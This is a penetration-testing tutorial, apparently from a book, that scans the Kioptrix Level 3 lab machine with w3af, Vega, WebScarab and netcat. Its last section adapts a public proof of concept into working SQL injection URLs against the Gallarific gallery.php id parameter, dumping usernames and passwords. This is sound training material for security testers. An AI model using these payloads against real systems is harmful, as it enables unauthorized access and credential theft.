This incredible framework automates many of the tasks that had previously been done manually. Fully extensible and open source w3af uses a myriad of plugins to provide a fully customizable testing experience. The authors of the tool created it to be very user friendly for those new at testing as well as those who are expert penetration testers.
If the plugin you need is not already available, then simply create it yourself and save tons of time on all future tests. The w3af is constantly updated and improved. The plugin types that w3af includes cover discovery, brute forcing, auditing, and even evasion. The framework also includes auto update features to ensure that you always have the latest and greatest installed and ready to run. Learn more about this tool at http://w3af.org/.
As expected, the Kali development team has a preinstalled w3af. Open up your Kali virtual machine and select Applications | Web Application Analysis | w3afgui to start the graphical user interface. If your Kali system is connected to the Internet, you will be able to update the plugins to the latest version when prompted:
Typically, you would want to perform a very selective attack, especially if you are trying to test the detection capabilities of the client's administrators and security team.
In this case, we will simply start with performing a web_infrastructure scan and see what information we can find on kioptrix3.com (192.168.175.200). An example of this is shown in the following image:
Seems that w3af was able to detect that this site is being load balanced. On closer inspection, you will notice that the reverse proxy can be utilized to prevent known issues from being exploited. Be sure to actually test the exploits (if it is covered in your Rules of Engagement), especially when you see that there may be a web application firewall or other mitigating control in place. The business will want to be assured that their expenditure on these devices or servers has either paid off or that they are not working as intended.
Now, we will run a fast scan to determine what we can find. This will take a while, so be sure to allot the time necessary to allow the test to finish.
While testing is in progress, you can look at the logs as they are updated under the Log tab. At times, it may even be efficient to review the logs during the scan so that you are ready to take action once the results are received.
Let's review some of the findings:
Often when you are performing penetration testing, you will want to run at least two tools, so you can compare the results. There are many tools available within the Kali framework, and you are encouraged to experiment with them all. We will look at one more GUI-based tool and review the results when we scan the kioptrix machine. That tool is Vega; this tool has an excellent scanning capability and should be part of your testing suite. You can access the tool by clicking on Applications | Web Application Analysis | Vega.
This will open the tool. Once the tool opens, click on Scan | Start New Scan. In the window that opens, enter the URI of kioptrix3.com; an example of this is shown in the following image:
Once you have verified the settings, click on Finish. You may click on the Next button and review the different settings, but for now, the default settings will suffice. An example of the completed scan results is shown in the following image:
As the image shows, the tool has found a number of things that will warrant a closer look. For now, we will move on and look at another option for using the w3af tool.
Many of us like to stay within console sections rather than using GUIs. With this in mind, we will run another scan and see if we find something more interesting than simple directory indexing and patch disclosure misconfigurations that the w3af GUI initial scans discovered. This time, we will use the console instead of the GUI. In a terminal window of Kali, enter the following:
# w3af_console
You can perform all of the critical functions available in w3af from within the w3af command console. The help command details the options available. Let's begin the scan.
We will begin by setting our targeted host:
w3af>>> target w3af/config:target>>> set target http://kioptrix3.com
From within the target menu, we are able to set the target to http://kioptrix3.com:
w3af/config:target>>> view
w3af/config:target>>> back
The back command will take you back to the last screen. Typing exit would exit from the w3af console, which we do not want to do:
w3af>>> plugins
We can review the installed plugins by typing plugins into the console. This is very useful when determining which specific items you would like to run. You can also get information about each of the plugins from within this menu:
w3af/plugins>>> help
Use the help command from anywhere within the console if more information is needed, or if you simply need to refresh your memory of where everything is:
w3af/plugins>>> back w3af>>> profiles
The profiles section is key to understanding what will be scanned. Just as with the GUI, the profile determines which plugins will be run when you start the scan:
w3af/profiles>>> help
To ensure that we are running the proper profiles, we check for available commands to find one that will provide us with the information we require. If you know certain information about the site already, time can be saved by creating a custom profile to match the configuration you are scanning. For example, there is no point in scanning for IIS vulnerabilities on a server that is not using IIS:
w3af/profiles>>> list
Here, we are provided with a listing of preconfigured profiles that are available:
w3af/profiles>>> use audit_high_risk
The use command allows us to specify which profile we would like to use during the scan:
w3af/profiles>>> back
We move back to the w3af default section and prepare to start the configured scan:
w3af>>> plugins w3af/plugins>>> output
The output will allow you to set up the output types, such as XML, text files, or even HTML. We enable the html_file output using the default settings (outputs to report.html) and keep console enabled as well for now:
w3af/plugins>>> output html_file w3af/plugins>>>back
This enables the HTML output:
w3af>>> start
As you have probably suspected, typing start will initiate our scan using the settings we have just configured. If there are errors, use the commands we just reviewed to examine and correct them. Remember to use help or back whenever you are stuck and do not know how to proceed.
When the scan is finished, you will be back at the w3af prompt. Here, we browsed to the report.html location in Firefox to display the default HTML reporting format:
We have a number of errors, so we would need to investigate these further, and the first question we need to answer is, "what plugins were enabled during our scan?" Plugins can be disabled, viewed, or enabled as follows:
w3af>>> plugins w3af/plugins>>> help |---------------------------------------------------------| | list | List available plugins. | |---------------------------------------------------------| | back | Go to the previous menu. | | exit | Exit w3af. | | assert | Check assertion. | |---------------------------------------------------------| | audit | View, configure and enable audit plugins | | grep | View, configure and enable grep plugins | | evasion | View, configure and enable evasion plugins | | bruteforce | View, configure and enable bruteforce | | | plugins | | discovery | View, configure and enable discovery | | | plugins | | mangle | View, configure and enable mangle plugins | | output | View, configure and enable output plugins | |---------------------------------------------------------|
We can review which of the plugins are enabled by typing the category, such as audit. Here, we discern which audit plugins were enabled when we used the audit_high_risk profile:
w3af/plugins>>> audit
This command provides the following console output:
Return to the scan results and take a closer look at the findings. You should notice that the local file inclusion vulnerability has been detected. We have also detected many unidentified web application errors at http://kioptrix3.com/gallery. We could either go back into our scanner and enable all plugins and try again, or we can take a manual look at the suspicious URL.
An example of the file inclusion is shown in the following image:
It is beneficial to have a browser that is proxy-enabled and logs all manual penetration testing activity. After all, you will need to be able to replicate your steps as well as write reports that indicate the steps taken during testing. WebScarab can be found in Kali by navigating to Applications | Web Application Analysis | webscarab. WebScarab is a HTTP proxy provided by the OWASP team that will assist in analyzing your HTTP traffic. We will need to point our browser to use the proxy once it has been started.
Load up Iceweasel, choose Edit | Preferences | Advanced | Network Tab, and click on the Settings button. Select the Manual proxy configuration: radial button and configure the following settings:
- HTTP Proxy: localhost | Port:
8008 - SSL Proxy: localhost | Port:
8008 - No Proxy for: Delete all the entries here
The default listener should be able to pick up your session. Now, in your browser, head over to http://kioptrix3.com. If everything is working properly and you receive no errors, head over to http://kioptrix3.com/gallery/, click back over to WebScarab, and choose the Summary tab to review our proxy results:
One thing instantly confirms the problem with unknown application error issues that w3af ran into. The http://kioptrix3.com/gallery/ URL is already returning a 500 application error before a SQL injection attack is even attempted. Automated scanners have a difficult time with abnormal behavior and thus we must investigate further on our own. If this concept is confusing at this time, try the following to confirm our suspicions are correct. Open up a new Kali terminal session and invoke Netcat:
# nc kioptrix3.com 80
When the connection is made, enter the following:
GET http://kioptrix3.com/gallery/
We are pulling the data directly that gives us the most control over the information. When in doubt, use Netcat! The output is as follows:
HTTP/1.0 500 Internal Server Error Date: Tue, 08 Sep 2015 23:36:00 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch X-Powered-By: PHP/5.2.4-2ubuntu5.6 Set-Cookie: PHPSESSID=f04693abb030c65c52014ea6bb99aafb; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0,pre-check=0 Pragma: no-cache Content-Length: 5653 Connection: close Content-Type: text/html
The highlighted section confirms that the application immediately returns an error code and the requested page.
It is time to use WebScarab to intercept our messages to see exactly what we are dealing with. In WebScarab, open up the Proxy tab, click on the Manual Edit tab, and check the Intercept responses box. By intercepting the responses, we are able to review the packages to see if there is anything interesting being passed to the server. We can also change any variables or hidden fields now if we want to.
Now that we are intercepting, go back to your browser screen and reload the http://kioptrix3.com/gallery/ page. You will be presented with the following:
The data that was intercepted will include the response returned in both a parsed and raw format. It is critical that you understand what normal responses should look like. These are the clues that will enable you to excel at finding vulnerabilities in the web applications. In this case, we can see once again that the server responds with a 500 internal server error in its header. When looking at the raw source, we also see that there are some references to something called Gallarific. As with any piece of software, you should perform a quick lookup for known vulnerabilities when you are able to determine what is running.
Head on over to https://www.exploit-db.com/ and perform a search for GALLARIFIC. The current results are as follows:
We have three different exploits to choose from, just for this simple application. That does not even count the local file injection that we were able to locate using our automated tools. If you choose the top item in the list, which is the GALLARIFFIC PHP Photo Gallery exploit, you will see that the person that submitted the exploit was even nice enough to include the path to the admin panel at http://kioptrix3.com/gallery/gadmin/, in case we had missed it in our previous scan results (remember seeing the notice about something interesting being commented out: <!--ahref="gadmin">Admin</a> --> ?).
If you performed your searches for Gallarific properly, you will find other vulnerabilities as well. Here are some associated CVE references:
CVE-2008-1326CVE-2008-1327CVE-2008-1464CVE-2008-1469CVE-2008-6567Tip
The OSVDB (Open Source Vulnerability Database) at http://osvdb.org/ is also a great resource when trying to find information about software vulnerabilities. If you find a vulnerable software version, odds are that you will also find any associated proof of concept code if it exists, as the exploit-db team has expended a lot of effort in ensuring that their CVEs link up to the OSVDB.
Now, looking at the exploit definition, we see that there is an example code provided as follows (credit goes to AtT4CKxT3rR0r1ST for submitting this proof of concept exploit code to https://www.exploit-db.com/):
www.site.com/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6,7,8+from+gallarific_users--
Of course, for us to use this example, we need to make a few changes. For one, we need to correct the www.site.com entry. Replace this with kioptrix3.com. Then, we need to add our gallery sub folder so that we address the correct site:
http://kioptrix3.com/gallery/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6,7,8+from+gallarific_users--
If you try this code, you will find that it does not work as planned. We need to go back to our web application testing basics and determine what the problem is. Let's try something here and see what happens. We will simplify the query and see if it works:
http://kioptrix3.com/gallery/gallery.php?id=null%20and%201=2%20union%20select%201,2,3,4,5,6,7,8
In response, we still receive the following error:
The used SELECT statements have a different number of columns. Could not select category
If you are familiar with the SQL injection, you already know the problem. We are addressing too many columns. Now, we will iterate through the column count until we no longer receive an error message. Try the following:
http://kioptrix3.com/gallery/gallery.php?id=null%20and%201=2%20union%20select%201,2,3,4,5,6
Now, we are seeing something that is more interesting. Our SQL injection worked! Next, we change the proof of concept code to read as follows and give it a try:
http://kioptrix3.com/gallery/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6+from+gallarific_users--
This command results in providing us with the username admin and the password of n0t7t1k4. An example of this is shown in the following image:
Use this information to log into http://kioptrix3.com/gallery/gadmin and browse around a bit. You have admin access on the application, but you did not get root access to the machine itself yet. Now that you know you can use SQL injection to get anything in the database, start thinking of what else you may be able to get to; don't forget about our file inclusion vulnerability either! Our journey through Kioptrix Level 3 is not yet complete.